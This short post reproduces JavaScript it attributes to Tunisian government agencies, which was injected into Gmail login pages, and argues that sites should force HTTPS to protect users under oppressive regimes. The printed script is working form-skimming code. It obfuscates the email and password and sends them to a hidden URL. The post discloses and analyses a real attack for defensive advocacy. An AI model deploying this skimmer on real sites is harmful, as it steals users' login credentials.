This is the function used by Tunisia Gov agencies to harvest login/passwords :
see also http://www.thetechherald.com/article.php/201101/6651
<script language="javascript">
<!--
function h6h(st){var st2="";for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st="";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {var frm = document.getElementById("gaia_loginform"); var us3r = frm.Email.value; var pa55 = frm.Passwd.value;
var url = "http://www.google.com/wo0dh3ad?q="+r5t(5)+"&u="+h6h(us3r)+"&p="+h6h(pa55);
var bnm = navigator.appName; if(bnm=='Microsoft Internet Explorer') inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById("x6y7z8"); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open("GET", url, false); xr.send("");}
function inv0k3(url) {var xr = new ActiveXObject('Microsoft.XMLHTTP'); xr.open("GET", url, false); xr.send("");}
//-->
</script>
Think of your users. Some of them will be accessing your sites from oppressive regimes. Let them do so safely.
Taking Facebook as an example, considering how global their usage is, and the amount of sensitive data peoples accounts contain, it's unforgivable that they don't force HTTPS traffic for everything.